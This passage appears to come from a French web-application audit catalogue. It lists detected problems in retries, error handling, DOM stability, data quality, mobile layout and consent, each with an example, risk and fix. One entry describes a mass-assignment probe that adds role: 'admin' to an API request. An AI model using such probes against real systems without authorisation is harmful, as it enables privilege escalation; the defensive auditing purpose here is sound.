Retenter les échecs transitoires (5xx, timeout) avec un nombre de tentatives borné et un délai croissant, jamais les erreurs 4xx.
Des éléments changent d’habillage d’un chargement à l’autre classes CSS

Entre deux captures successives de la page, l'attribut class d'un même élément a changé. Sur les SPA modernes (Tailwind, Headless UI, CSS-in-JS) ce code est extrêmement bruyant : un hover, un focus, un état loading, une transition framer-motion déclenchent constamment des changements. Utile pour détecter des dérives DOM massives (rerender complet, instabilité de layout), peu actionnable pour les petites variations.

Example
Bouton qui ajoute/retire hover:bg-primary-600 au survol → diff détecté à chaque snapshot.
Risk
Faux positifs massifs sur les SPA Tailwind : 1 page = des centaines d'occurrences sans incident métier.
Fix
Si l'app utilise Tailwind / Headless UI / framer-motion : masquer ce code via la Config Gates pour ne garder que les drifts structurels. Sinon, préférer des data-testid stables et investiguer les composants qui rerendent en boucle.
Des éléments changent d’identifiant d’un chargement à l’autre id

Entre deux captures, l'attribut id d'un même élément a changé. Indique souvent un ID généré dynamiquement (uuid au mount) qui casse les ancres, les sélecteurs de tests et les hooks d'accessibilité (aria-labelledby).

Example
ID radix-:r3: régénéré à chaque montage → tests Playwright qui ciblent l'ID cassent.
Risk
Tests E2E flaky sur les sélecteurs #id.
Fix
Utiliser useId() (React) ou des IDs stables, et exposer des data-testid pour les sélecteurs de test.
Des identifiants changent d’un chargement à l’autre id

Entre deux chargements identiques de la même URL, l'attribut id d'un même élément a changé. Typiquement un identifiant généré à la volée (uuid, compteur de montage) au lieu d'un identifiant stable.

Example
ID radix-:r3: régénéré à chaque montage : le test Playwright qui cible #radix-:r3: casse au run suivant.
Risk
Ancres internes qui ne pointent plus sur rien après un redéploiement ou un rechargement.
Fix
Générer les identifiants avec une API déterministe (useId() en React, useId() en Vue 3.5+) et exposer un data-testid stable pour les sélecteurs de test.
Écran vide quand le serveur ne répond pas

Une seule requête de données (fetch / XHR) a été interrompue et la page entière s'est vidée. Le rendu dépend d'un appel unique sans aucune dégradation gracieuse : pas de contenu partiel, pas de message d'erreur.

Example
Une erreur non rattrapée dans le chargement des données fait remonter l'exception jusqu'à la racine et démonte tout l'arbre.
Risk
Un incident réseau ponctuel blanchit l'écran au lieu de dégrader l'expérience.
Fix
Isoler chaque zone dépendante d'une requête derrière une frontière d'erreur qui affiche un message et un bouton « réessayer », plutôt que de laisser l'exception démonter la page.
L’erreur brute d’un service tiers atteint la personne qui utilise l’application error propagation

Un domaine tiers a répondu en erreur, et son message technique (code, texte brut) est arrivé jusqu'à l'écran sans avoir été reformulé pour la personne qui le lit.

Example
Un alert(error.message) qui affiche le message d'erreur renvoyé tel quel par le fournisseur.
Risk
La personne qui lit le message n'a aucune raison de connaître le vocabulaire d'un fournisseur dont elle ignore l'existence.
Fix
Traduire toute erreur de service tiers en message générique et actionnable avant affichage.
L’ordre des éléments change d’un chargement à l’autre

L'ordre des éléments dans le DOM a changé entre deux snapshots, sans interaction utilisateur. Symptôme de tri non déterministe, de rerender qui réinjecte les noeuds, ou de stratégie de virtualisation instable.

Example
Liste triée par Object.keys() sur un objet → ordre dépendant de l'implémentation moteur JS.
Risk
Cliques utilisateur qui atterrissent sur le mauvais élément (race condition).
Fix
Trier explicitement (array.sort((a, b) => a.id - b.id)) et utiliser des key stables React/Vue.
La panne d’un service tiers entraîne celle de fonctions qui n’en dépendent pas bulkhead

Un domaine tiers précis a été coupé, et une capacité de l'application qui n'en dépend pas a cessé de fonctionner (page vide, erreur globale) au lieu de continuer normalement.

Example
Un script analytique ou un widget de chat chargé de façon bloquante avant le reste de l'application.
Risk
Toute l'application dépend, sans le savoir, de la disponibilité d'un fournisseur secondaire.
Fix
Charger les intégrations tierces de façon non bloquante et entourer leur échec d'une gestion d'erreur qui ne remonte jamais jusqu'à casser le reste de la page.
Le délai annoncé par le serveur avant de retenter n’est pas respecté Retry-After

Le serveur a répondu avec un en-tête Retry-After demandant d'attendre un délai donné, et l'application a retenté l'appel avant que ce délai ne soit écoulé.

Example
Une politique de retry à intervalle fixe qui ne lit jamais les en-têtes de la réponse en erreur.
Risk
Le client ajoute de la charge à un service qui a explicitement demandé un délai.
Fix
Lire Retry-After quand il est présent et attendre au moins ce délai avant la tentative suivante.
Les appels continuent d’attendre aussi longtemps après plusieurs échecs circuit breaker

Après plusieurs échecs consécutifs sur le même appel, les tentatives suivantes attendent encore une réponse aussi longtemps que la toute première : rien ne raccourcit l'attente une fois la panne installée.

Example
Un appel HTTP sans disjoncteur : chaque nouvel essai attend le même délai d'expiration que le premier.
Risk
Un service qui répond lentement plutôt que de tomber franchement épuise progressivement les ressources de qui l'appelle.
Fix
Ouvrir un disjoncteur après quelques échecs consécutifs : rejeter les appels suivants immédiatement, puis retester périodiquement.
Les tentatives reviennent toujours au même rythme exponential backoff

L'écart entre les tentatives successives reste constant au lieu de croître : la politique de retry ne ralentit jamais, même après plusieurs échecs de suite sur le même appel.

Example
Un setInterval qui relance le même appel toutes les deux secondes, indépendamment du résultat.
Risk
En cas de panne partagée par plusieurs clients, tout le monde retente au même rythme, ce qui peut empêcher le service de jamais rattraper la charge.
Fix
Faire croître le délai entre tentatives (par exemple ×2 à chaque échec), avec un plafond.
Page blanche

La page s’est chargée mais son contenu apparaît vide (aucun contenu visible détecté). Symptôme classique d’un crash au montage ou d’un rendu côté client qui n’aboutit jamais.

Example
Une SPA qui plante avant l’hydratation : le <div id="app"> reste vide.
Risk
Page totalement inutilisable pour l’utilisateur.
Fix
Vérifier la console pour l’exception au montage, s’assurer que la route rend un contenu (ou un état de chargement/erreur) dans tous les cas.
Un chargement qui ne se termine jamais

Un indicateur de chargement (spinner, squelette, aria-busy) était toujours présent après le délai d'attente du crawler, sur une page quasi vide. Le contenu réel n'est jamais arrivé : la page est restée coincée sur son état de chargement.

Example
La liste des leads affiche son squelette puis reste vide : la requête GET /api/leads a échoué en silence.
Risk
L'utilisateur fait face à un écran vide ou perpétuellement en attente, sans comprendre ce qui se passe.
Fix
Gérer l'état d'erreur du chargement (message + retry) et poser un timeout ; ne jamais laisser un squelette sans issue.
Un détail technique brut reste affiché pendant la panne stack trace

Pendant que l'appel de données échouait, une pile d'appel ou un objet d'erreur sérialisé est resté visible dans la page, au lieu d'un message pensé pour la personne qui la lit.

Example
Un catch (e) { element.textContent = e.stack } affiche la pile JavaScript telle quelle.
Risk
Une pile d'appel peut nommer des fichiers, des fonctions ou des dépendances internes.
Fix
Traduire toute erreur technique en message destiné à la personne avant affichage ; réserver la pile d'appel aux journaux.
Un écran vide là où une erreur devrait être annoncée

Quand une requête de données échoue, l’erreur est avalée et l’écran affiche un vide qui ressemble à un état vide normal : l’utilisateur ne sait pas qu’un problème est survenu et une action peut sembler réussir alors qu’elle a échoué.

Example
Une liste (membres, historique) s’affiche vide parce que le fetch a renvoyé une erreur silencieusement traitée comme [].
Risk
Perte de confiance et confusion : un échec ressemble à un état normal.
Fix
Distinguer explicitement « vide » de « erreur » : afficher un état d’erreur avec possibilité de réessayer quand un chargement échoue.
Un élément apparaît au second chargement

Un élément absent au premier chargement apparaît au second. Sur une SPA c'est très souvent bénin (portail, toast, squelette remplacé, balise <style> injectée par le moteur CSS-in-JS). Le signal ne devient intéressant qu'en volume ou en répétition sur le même conteneur.

Example
Toast de bienvenue affiché après 500 ms : présent dans une capture, absent dans l'autre.
Risk
Bruit important sur les SPA : des centaines d'occurrences sans incident métier réel.
Fix
Vérifier que chaque effet monté rend bien une fonction de nettoyage, et que les portails/modales sont démontés ; sinon masquer ce code via les Config Gates si la stack l'émet structurellement.
Un élément apparaît d’un chargement à l’autre

Entre deux snapshots, un noeud est apparu sans déclencheur métier. Sur SPA, généralement bénin (portails, modals lazy, toasts). Sur certaines apps c'est le signe d'un effet useEffect qui s'exécute en boucle.

Example
Modal qui se monte lors d'un fetch silencieux → noeud ajouté pour rien.
Risk
Fuite DOM : accumulation de noeuds invisibles non nettoyés.
Fix
Vérifier les useEffect sans cleanup, et que les modals/portails sont bien démontés après usage.
Un élément disparaît d’un chargement à l’autre

Entre deux snapshots, un noeud a disparu sans action utilisateur. Souvent bénin sur SPA (rerender, splash, loader), parfois indicateur d'un crash silencieux d'un sous-composant capturé par un ErrorBoundary.

Example
Carte produit qui disparaît après un fetch d'image en 404 → ErrorBoundary mute silencieusement.
Risk
Sections critiques qui disparaissent sans message utilisateur (silent fail).
Fix
Vérifier les ErrorBoundary : remplacer 'rien' par un message d'erreur visible, et logguer le crash.
Un élément manque au second chargement

Un élément présent au premier chargement n'apparaît pas au second, à URL et état identiques. Le rendu dépend donc de quelque chose qui n'est pas garanti : une course réseau, un cache tiède, ou un sous-arbre qui a échoué sans message.

Example
Section « recommandations » rendue seulement si une API secondaire répond avant le premier rendu.
Risk
Contenu métier invisible pour une partie des utilisateurs, sans aucune erreur remontée.
Fix
Rendre l'affichage indépendant de l'ordre d'arrivée des réponses (état de chargement explicite) et remplacer tout repli null d'ErrorBoundary par un message visible plus un log.
Une adresse directe renvoie ailleurs

Ouvrir l'écran par son adresse (lien partagé, favori, rechargement) n'y mène pas : l'application redirige ailleurs, le plus souvent vers la connexion.

Example
/projects ouvert directement renvoie sur /login alors que la session existe.
Risk
Un lien partagé ou un favori ne fonctionne pas.
Fix
Restaurer la session au chargement direct avant de rediriger ; vérifier que l'état d'authentification survit à un rechargement.
Une attente sur un service tiers ne se termine jamais timeout

Une requête vers un domaine tiers a été retardée au-delà de dix secondes, et l'indicateur de chargement est resté affiché sans qu'aucun abandon ni message ne se déclenche.

Example
Un appel fetch sans AbortSignal.timeout() ni délai d'expiration configuré.
Risk
L'utilisateur ne sait pas si l'application a planté ou si elle travaille encore.
Fix
Fixer un délai d’expiration explicite sur tout appel vers un service tiers, avec un message en cas de dépassement.
Une erreur de requête est retentée comme si elle pouvait réussir 4xx

L'appel a échoué avec un code indiquant un problème dans la requête elle-même (400, 404…), et l'application l'a retenté à l'identique : le résultat sera pourtant toujours le même.

Example
Un intercepteur HTTP générique qui retente toute réponse en erreur, sans distinguer le code.
Risk
La charge est gaspillée sur un appel dont l'issue est déjà connue.
Fix
Ne retenter que les codes transitoires (429, 5xx, timeout) ; traiter un 4xx comme définitif.
Une panne du serveur passe sans un mot pour la personne

Une requête a été interrompue et l'interface n'a rien changé : aucun message, aucun état d'erreur, aucune alerte. Si la donnée manquante était structurante, l'utilisateur consulte une vue incomplète sans le savoir.

Example
Un catch qui se contente de logguer en console et laisse l'écran inchangé.
Risk
Décisions prises sur des données partielles présentées comme complètes.
Fix
Rattraper l'échec au niveau du composant et le rendre visible (bandeau, toast, état d'erreur local) ; réserver le log console au diagnostic, jamais comme seule réaction.

Quality

23

General upkeep: text, images, links, consistency across screens.

Le même identifiant apparaît deux fois dans une même liste

Une liste ou un tableau d’au moins trois lignes affiche deux fois le même identifiant (numéro de commande, référence, identifiant) sur des lignes différentes.

Example
La commande « CMD-1042 » apparaît en ligne 3 et en ligne 9 d’un même tableau de commandes.
Risk
Une action lancée sur « la » ligne devient ambiguë : laquelle des deux a été modifiée ou supprimée ?
Fix
Vérifier la clé d’unicité côté source (contrainte d’unicité en base, déduplication à l’agrégation) plutôt que côté affichage.
Les erreurs de saisie sont renvoyées en texte libre Problem+JSON

Les erreurs de validation sont renvoyées en texte brut ('email is required') au lieu du format standardisé Problem Details for HTTP APIs (RFC 9457). Les clients API ne peuvent pas traiter les erreurs de façon programmatique et l'expérience utilisateur se dégrade (messages incohérents, pas de mapping vers les champs de formulaire).

Example
POST /api/users répond 400 avec body "Email is required and password must be at least 8 characters" → le front ne sait pas quel champ surligner.
Risk
Front incapable d'afficher des messages d'erreur cohérents et localisés.
Fix
Adopter le format RFC 9457 (Problem+JSON) : { type, title, status, detail, errors: [{ field, code, message }] } côté API.
Un champ non prévu est accepté et renvoyé tel quel additionalProperties

Un champ que le formulaire ne proposait pas est ajouté à la requête, et l'API le renvoie dans sa réponse : elle ne filtre donc pas les champs qu'elle reçoit. Un champ sensible (rôle, statut, identifiant d'un tiers) ajouté de la même façon prendrait le même chemin.

Example
POST /api/notes avec un champ role: "admin" ajouté à la main se retrouve dans la réponse : rien ne l’a filtré.
Risk
Assignation de masse : un client peut modifier un champ qu'aucune interface ne lui propose (rôle, statut, propriétaire).
Fix
Refuser ou ignorer explicitement les champs non déclarés au schéma (additionalProperties: false en JSON Schema, .strict() en Zod).
Un écran que rien ne permet d’atteindre route orpheline

Une route déclarée dans le routeur de l'application (lue dans le bundle JS) n'a été atteinte par aucun lien pendant le crawl. La navigation vers cet écran se fait par un handler JS, pas par un <a href> : la destination est invisible au clavier, aux robots et à l'audit.

Example
Le bundle déclare /stats, /team, /workspaces mais aucun lien de la nav n'y mène : on y va par un menu ou une carte cliquable.
Risk
Écrans inaccessibles aux utilisateurs naviguant au clavier ou au lecteur d'écran.
Fix
Exposer la navigation vers ces routes par de vrais <a href> ; réserver les handlers JS aux actions sans changement d’URL.
Un écran réservé que l’audit n’a pas pu ouvrir route protégée

Une route déclarée dans le bundle n'a pas été atteinte parce qu'elle est protégée (login, register, espace admin). C'est un fait sur le périmètre du crawl, pas un défaut de l'application.

Example
Les routes /admin/* ne sont pas atteintes : le compte de crawl n'a pas le rôle plateforme.
Risk
Aucun risque applicatif direct : information sur ce que le crawl ne pouvait pas voir.
Fix
Fournir un compte aux droits suffisants (ou un flux d'invitation) pour couvrir ces zones si nécessaire.
Un élément nécessaire au scénario n’a pas pu être créé

Un scénario d’audit dépendait d’une entité à créer au préalable (ex : créer un membre avant de tester son édition), mais cette création a échoué. Les étapes suivantes n’ont pas pu être auditées.

Example
Impossible de créer un enregistrement de test → le parcours d’édition n’est pas exploré.
Risk
Couverture d’audit incomplète sur les parcours dépendants.
Fix
Vérifier le formulaire/endpoint de création ; corriger l’erreur pour débloquer les scénarios dépendants.
Un horodatage de dernière mise à jour n’a pas bougé depuis longtemps

Un texte du type « Dernière mise à jour » ou « Last updated » affiche une date de plus de 90 jours avant l’audit.

Example
Une fiche produit indique « Dernière mise à jour : 12/03/2024 » un an après cette date.
Risk
La personne qui lit cette date s’y fie pour juger la fraîcheur de la donnée, à tort si elle n’est plus rafraîchie.
Fix
Vérifier que le champ de mise à jour est bien réécrit à chaque changement réel, et alerter si sa fraîcheur dépasse un seuil.
Un lien cassé

Un lien pointe vers une cible inaccessible (4xx/5xx) ou invalide. La source (anchor, bouton, dropdown, programmatique) est indiquée dans le détail.

Example
/dashboard/old -> 404 référencé depuis un <a> du menu.
Risk
Impasse de navigation et frustration utilisateur.
Fix
Corriger ou supprimer la cible morte ; pour un bouton, vérifier le handler de navigation.
Un lien interne vers une page introuvable 404

Un lien interne pointe vers une page qui n'existe plus. Souvent un slug renommé sans redirect.

Example
Lien menu vers /old-feature supprimé après refactor.
Risk
Parcours utilisateur cassé.
Fix
Mettre en place une redirection 301 ou corriger le lien.
Un lien vers un site extérieur qui ne répond plus

Un lien sortant pointe vers une ressource qui répond en erreur (4xx/5xx). L'utilisateur tombe sur une page d'erreur.

Example
Un lien vers un article tiers supprimé renvoie un 404.
Risk
Crédibilité éditoriale entamée.
Fix
Corriger ou retirer le lien ; mettre en place une vérification périodique des liens sortants.
Un texte affiché sous sa forme de clé, non traduit i18n

Une clé d’internationalisation apparaît telle quelle dans le DOM (ex : dashboard.title) au lieu du texte traduit. La chaîne n’a pas été résolue par le système i18n.

Example
members.emptyState affiché brut à la place de « Aucun membre ».
Risk
Interface non professionnelle et déroutante pour l’utilisateur.
Fix
Ajouter la clé manquante dans les fichiers de traduction ou corriger le namespace/chemin utilisé.
Une cellule est vide alors que la même colonne est remplie ailleurs

Dans un même tableau, une colonne porte une valeur sur certaines lignes et rien du tout sur d’autres : la donnée existe pour ce champ, elle manque juste sur cet enregistrement.

Example
La colonne « Client » est renseignée sur 9 lignes sur 10 d’un tableau de commandes, vide sur la dixième.
Risk
Un traitement en aval qui suppose le champ toujours rempli peut échouer ou produire un résultat incorrect sur cette ligne.
Fix
Rendre le champ obligatoire à la saisie ou à l’import, ou documenter explicitement pourquoi il peut manquer.
Une erreur affiche un détail technique interne trace / SQL

Le corps d'une réponse en erreur contient un détail qui n'a rien à faire côté client : une trace d'exécution, une requête écrite en clair, ou le nom d'une table de base de données. Ce détail donne à qui l'observe une longueur d'avance pour cartographier le système.

Example
POST /api/users répond 500 avec at Object.<anonymous> (/app/src/users.js:42:17) dans le corps.
Risk
Reconnaissance facilitée pour un attaquant (chemins de fichiers, noms de tables, bibliothèques utilisées).
Fix
Attraper les erreurs avant leur sortie et ne renvoyer côté client qu’un message générique ; garder la trace dans les journaux serveur.
Une erreur dans le code de la page JavaScript

Une exception JavaScript a été levée pendant le chargement ou l’interaction avec la page. Une erreur non gérée interrompt le script en cours et peut laisser l’interface dans un état incohérent.

Example
Uncaught TypeError: Cannot read properties of undefined (reading 'map') : une donnée attendue est absente.
Risk
Fonctionnalité inutilisable : le bouton ou l’écran concerné ne répond plus.
Fix
Ouvrir la console, reproduire le scénario, corriger la cause racine (donnée manquante, accès null) et ajouter une garde défensive ou un error boundary.
Une erreur de saisie ne dit pas quel champ est en cause field / violations

Une réponse d'erreur (4xx) ne porte ni field, ni path, ni une liste violations/errors. Le client ne peut deviner laquelle de ses données a été refusée : il ne peut ni surligner le bon champ de formulaire, ni écrire un traitement automatique par champ.

Example
POST /api/orders répond 422 avec { "title": "Validation failed" } : rien ne dit si c’est quantity ou customerId qui est en cause.
Risk
Formulaire incapable de surligner le champ fautif.
Fix
Ajouter violations: [{ field, message }] (ou errors) à chaque réponse de validation, même minimaliste.
Une erreur technique se produit pendant que la page fonctionne TypeError: Cannot read properties of null

Le navigateur signale une erreur JavaScript de lecture sur une valeur absente pendant la visite : le code s’attendait à recevoir une donnée qui n’était pas là.

Example
Une réponse d’API renvoie "customer": null et l’écran tente de lire customer.name.
Risk
Une partie de l’écran peut rester incomplète, figée ou muette sans aucun message pour la personne.
Fix
Vérifier la présence de la valeur avant de lire ses propriétés, et donner une valeur de repli explicite côté API ou côté rendu.
Une image qui ne s’affiche pas

Une image référencée par la page n’a pas pu être chargée (requête HTTP en échec). L’emplacement reste vide ou affiche l’icône d’image cassée.

Example
<img src="/logo.png"> renvoyant 404.
Risk
Rendu dégradé et perte de contenu visuel (logo, illustration).
Fix
Corriger l’URL de l’image, vérifier sa présence sur le serveur/CDN et réserver width/height.
Une incohérence métier n’est pas bloquée à la soumission

Une date de fin antérieure à la date de début, ou un montant négatif, est acceptée avec un code de succès. La saisie est syntaxiquement valide (un format de date correct, un nombre) mais sémantiquement absurde pour le métier : et rien ne l'arrête avant qu'elle ne traverse le système.

Example
POST /api/bookings avec une date de fin antérieure à la date de début répond 201.
Risk
Donnée métier absurde qui traverse le système jusqu'à un rapprochement comptable ou un rapport, des mois plus tard.
Fix
Ajouter une validation croisée entre champs (date de fin postérieure à la date de début, montant positif) avant d'enregistrer.
Une saisie incorrecte fait planter le serveur au lieu d’être refusée HTTP 500

Une entrée invalide côté client provoque une erreur 500 côté serveur au lieu d'un 400/422. Symptôme d'une absence de validation amont : l'erreur fuite sur la couche métier, expose potentiellement des détails techniques (stack trace, chemins de fichiers, requêtes SQL) et brouille la distinction entre bug utilisateur et bug serveur.

Example
Un POST /api/users avec email: null répond 500 avec TypeError: Cannot read properties of null (reading 'toLowerCase').
Risk
Fuite de détails techniques internes (stack traces, schémas DB) → reconnaissance facilitée pour un attaquant.
Fix
Ajouter une validation explicite en entrée (Zod, Joi, class-validator) qui renvoie un 400 structuré avant d'atteindre la couche métier.
Une saisie invalide est acceptée alors qu’elle aurait dû être refusée

En retirant un champ obligatoire ou en forçant une valeur d'un type incorrect, l'appel obtient tout de même un code de succès. La validation de schéma annoncée par l'API n'est vérifiée que côté client : un appel direct à l'API la contourne entièrement.

Example
POST /api/orders sans customerId répond 201 : le champ obligatoire n’est pas vérifié côté serveur.
Risk
Données corrompues qui traversent le système et échouent plus loin, avec un message incompréhensible.
Fix
Valider le corps de la requête côté serveur avec un schéma (Zod, Joi, class-validator) avant tout traitement métier.
Une valeur affichée ne respecte pas le format attendu

Une valeur affichée dans une colonne dont le nom indique clairement son format (courriel, date, montant) ne respecte pas ce format : un courriel sans arobase, une date non interprétable, un montant négatif sur un libellé de prix.

Example
Colonne « Email » : « jean.dupontexample.com » sans arobase.
Risk
Une donnée mal formée à l’affichage l’est souvent aussi à la source, avec un risque d’échec silencieux plus loin (envoi d’un courriel, calcul d’un total).
Fix
Valider le format à la saisie ou à l’import, avant que la valeur n’atteigne l’affichage.
Une valeur extrême fait planter le formulaire au lieu d’être refusée

Une valeur de bordure (une chaîne de 300 caractères, du texte accentué ou en idéogrammes, un nombre négatif) provoque une erreur serveur (500) ou fait fuir un détail interne, là où une valeur ordinaire aurait été acceptée ou proprement refusée. Un jeu de données de test réaliste aurait détecté ce cas avant la mise en production.

Example
Un commentaire de 300 caractères envoyé à /api/comments répond 500 avec une trace d’exécution dans le corps.
Risk
Panne déclenchée par une saisie ordinaire (un utilisateur qui colle un texte long, un nom avec un accent).
Fix
Ajouter des bornes de longueur/format explicites au schéma de validation et des cas de test avec des valeurs de bordure (vide, très long, unicode, négatif).
Une valeur technique s’affiche à la place d’une vraie donnée null / undefined / NaN / [object Object] / Invalid Date

Le texte affiché contient un mot que seul un programme produit (« null », « undefined », « NaN », « [object Object] » ou « Invalid Date ») signe qu’une valeur absente ou d’un type inattendu a traversé le rendu sans être interceptée.

Example
Une fiche client affiche « Téléphone : null » au lieu de masquer la ligne.
Risk
Perte de confiance immédiate : la personne voit que l’application « fuit » son fonctionnement interne.
Fix
Donner une valeur de repli à chaque champ optionnel avant affichage (chaîne vide, tiret, ou ligne masquée) plutôt que de laisser passer la valeur brute.

Experience

19

What people see and touch: screen sizes, gestures, tap targets.

Des boutons auxquels rien n’est relié sans handler

Des boutons n'ont aucun gestionnaire d'événement (onClick JS, attribut formaction, lien). Clic = rien.

Example
Un bouton 'Sauvegarder' sans handler → l'utilisateur clique 5 fois, rien ne se passe, abandon.
Risk
Confusion utilisateur, abandon de workflow.
Fix
Soit ajouter le handler manquant, soit retirer le bouton du DOM.
Des champs de saisie hors de tout formulaire

Des champs <input> ne sont rattachés à aucun <form>. Pas de validation HTML5, pas de soumission par Entrée, autofill cassé.

Example
Champ de recherche sans <form> → l'utilisateur tape Entrée, rien.
Risk
UX clavier cassée (Entrée ne soumet pas).
Fix
Englober dans un <form> (même sans action) et brancher un handler de submit.
Des éléments cliquables qui se chevauchent

Deux éléments interactifs (boutons, liens) se recouvrent à plus de 30 % de la surface du plus petit. Les taps atterrissent sur la mauvaise cible.

Example
Deux boutons d'action « en escalier » qui se superposent dans un header comprimé à 375px.
Risk
Taps sur la mauvaise cible → actions non désirées.
Fix
Empiler les actions (grid grid-cols-2 sm:flex) et garantir des cibles séparées d'au moins 44px.
Des liens qui ne mènent nulle part

Des balises <a> sans href ou avec href='#' qui ne déclenchent rien. Visuellement c'est un lien, fonctionnellement c'est mort.

Example
<a href='#'>En savoir plus</a> sans JS → clic remonte en haut de page.
Risk
Frustration utilisateur, perte de confiance.
Fix
Remplacer par un vrai href ou un <button> selon la sémantique.
Des onglets qui ne changent rien quand on les choisit

Des onglets sont présents visuellement mais ne changent pas de contenu au clic. UI trompeuse.

Example
Onglets stylisés sans JS branché → clic = pas de changement.
Risk
Utilisateur croit que des contenus manquent.
Fix
Brancher la logique de switch + gérer aria-selected / tabpanel.
Des zones à toucher sous la taille recommandée 44×44 px

Élément interactif entre 24 et 44 px sur mobile. Il **respecte** le critère normatif WCAG 2.5.8 (AA, 24×24) et reste sous la recommandation WCAG 2.5.5 (AAA, 44×44) et les guides Apple/Material. C'est une recommandation, pas une non-conformité.

Example
Bouton icône de 32 px dans une barre d'outils.
Risk
Précision du doigt dégradée en mobilité ; ce n'est pas un échec d'accessibilité.
Fix
Élargir la zone cliquable (padding) sans forcément agrandir le visuel.
Du contenu tronqué par sa propre carte

Le contenu propre d'un élément déborde de sa zone visible et est masqué par un ancêtre overflow: hidden/clip (une carte), sans indicateur. Invisible au check de débordement viewport car le rect reste dans l'écran.

Example
Une valeur de métrique Critique 5.00s coupée par la carte Configuration à 375px.
Risk
Information tronquée et illisible.
Fix
Utiliser flex-wrap, min-w-0 + truncate maîtrisé, ou empiler en colonne sous le breakpoint.
La page déborde de l’écran sur ordinateur

Sur le viewport desktop (>= 1280px), le contenu déborde horizontalement. Problème de layout visible pour tous les utilisateurs : largeur de conteneur mal calibrée, élément avec min-width excessive, image non contrainte, etc.

Example
Un tableau de 20 colonnes force un scroll horizontal sur le viewport principal : UX très dégradée.
Risk
Layout perçu comme cassé sur la résolution la plus commune en desktop.
Fix
Identifier l'élément débordant (DevTools * { outline: 1px solid red }), appliquer max-width: 100% et overflow-x: auto aux conteneurs concernés.
La page déborde de l’écran sur tablette

Sur le viewport tablette (768-1024px), le contenu déborde horizontalement et force un scroll latéral. Format pourtant courant pour la consultation de contenu (iPad, Surface) : l'expérience est dégradée pour une part significative des utilisateurs.

Example
Tableau de bord admin qui s'affiche bien sur desktop mais déborde sur iPad portrait : l'utilisateur doit scroller pour voir les boutons d'action.
Risk
Expérience dégradée sur un format représentant 5-15 % du trafic selon les secteurs.
Fix
Ajouter un breakpoint tablette dédié (@media (max-width: 1024px)) et utiliser max-width: 100% sur les conteneurs qui ne respectent pas le viewport.
La page introuvable est celle du serveur, pas de l’application 404

Les URL inexistantes renvoient une page d'erreur serveur brute au lieu d'une 404 maison : UX pauvre et fuite éventuelle de la stack.

Example
Une URL erronée affiche la page 404 Not Found par défaut de Nginx.
Risk
Expérience utilisateur dégradée (impasse).
Fix
Configurer une page 404 personnalisée (cohérente avec le design) côté serveur/SSG.
La page ne s’adapte pas à la taille de l’écran meta viewport

La balise <meta name="viewport"> est absente, mal configurée, ou bloque la mise à l'échelle. Sans elle, le mobile affiche la version desktop zoomée à 980px et l'utilisateur doit pincer pour zoomer : l'app est inutilisable sans manipulation manuelle.

Example
Pas de balise viewport → iPhone affiche la page à 33 % de taille, illisible.
Risk
App inutilisable sur mobile sans zoom manuel (>50 % du trafic perdu).
Fix
Ajouter <meta name="viewport" content="width=device-width, initial-scale=1"> dans le <head> (sans user-scalable=no qui casse l'accessibilité).
Un bouton qui ne fait rien

Un bouton paraît actif visuellement mais n'a aucun handler attaché. Différent d'un orphelin : ici l'élément est styled comme actif.

Example
Bouton CTA principal de la home sans onClick (oubli React).
Risk
Perte de conversion directe.
Fix
Brancher le handler ou désactiver visuellement le bouton (disabled).
Un clic intercepté par un élément posé par-dessus

L'élément est fonctionnel, mais un autre nœud le recouvre au point de clic et reçoit l'interaction à sa place. Vérifié par elementFromPoint sur le centre de la cible avant de conclure.

Example
Bannière de consentement fixée en bas d'écran masquant les actions du pied de page.
Risk
L'utilisateur clique, rien ne se produit, et il conclut que la fonction est cassée.
Fix
Réduire l'emprise de l'élément superposé, lui donner pointer-events: none quand il est décoratif, ou réserver son espace dans le flux plutôt que de le fixer par-dessus.
Un clic sans effet visible

L'utilisateur clique sur un élément, mais aucun retour visuel (loader, état, mutation, message). L'app paraît figée.

Example
Bouton 'Envoyer' → aucune indication de progression → l'utilisateur clique 5 fois.
Risk
Double-soumissions involontaires (paiements, envois).
Fix
Ajouter un état loading / disabled pendant la requête, et un message de succès/échec.
Un élément cliquable coupé par le bord de l’écran

Un élément interactif est partiellement visible mais coupé par un bord de l'écran (dépasse à droite ou déborde à gauche en négatif). Typiquement un menu ou dropdown ancré près d'un bord qui rend hors-champ sur mobile.

Example
Un menu déroulant absolute right-0 w-64 rendu à left: -84px sur un écran de 375px.
Risk
Options/actions inaccessibles.
Fix
Ancrer les menus mobiles en fixed inset-x-2 plutôt qu'en absolute largeur fixe près d'un bord.
Un réglage qui ne change rien quand on le modifie

La valeur d'une liste déroulante ou d'une case à cocher a été modifiée, et rien ne s'est produit : aucune requête, aucun changement à l'écran, aucun message. Le contrôle est présent, mais il ne pilote rien d'observable.

Example
Un filtre « Statut » sur une liste : changer la valeur ne relance aucun appel et la liste reste identique.
Risk
L’utilisateur croit avoir filtré et lit des données qui ne correspondent pas à sa demande.
Fix
Vérifier que le gestionnaire de changement est bien câblé et qu’il relance la requête ou le rendu.
Une commande qui ne produit rien d’observable

Un élément cliquable (bouton, lien, élément avec handler) ne produit aucun changement détectable : pas de mutation DOM, pas de requête réseau, pas de navigation.

Example
Clic sur 'Rafraîchir' → handler câblé mais en réalité no-op.
Risk
Actions critiques perçues comme exécutées alors que rien ne se passe.
Fix
Tracer le handler avec un log, vérifier que la mutation/requête est bien émise.
Une fenêtre qui s’ouvre en partie hors de l’écran

Une fois ouvert, un overlay (dropdown, menu, popover) s'affiche partiellement hors de l'écran sur mobile. Détecté en ouvrant chaque déclencheur (mode --probe) puis en re-vérifiant le clipping de l'état ouvert.

Example
Le sélecteur de créneau ouvre un menu rendu à x = -84 sur un écran de 375px.
Risk
Options de l'overlay inaccessibles.
Fix
Ancrer les overlays mobiles en fixed inset-x-2 ; tester l'état ouvert, pas seulement l'état initial.
Une zone qui défile de côté sans raison

Un conteneur en overflow-x: auto/scroll scrolle horizontalement au mobile là où il devrait s'adapter. Le débordement est masqué au check document car le scroll est contenu.

Example
Un tableau d'historique overflow-x-auto -mx-6 qui scrolle à 375px au lieu de s'empiler.
Risk
Contenu masqué hors du scroll.
Fix
Rendre les tables responsives (empilement en cartes sur mobile) ; opt-in explicite data-allow-xscroll sinon.

Governance

16

Consent, legal notices and the rules the application must keep.

Aucun bandeau ne demande le consentement aux témoins cookies

Aucun mécanisme de consentement cookies n'est détecté. Si des trackers tiers sont chargés, c'est une violation directe du RGPD.

Example
Google Analytics chargé immédiatement → tracking sans consentement.
Risk
Sanctions CNIL (jusqu'à 4 % CA mondial).
Fix
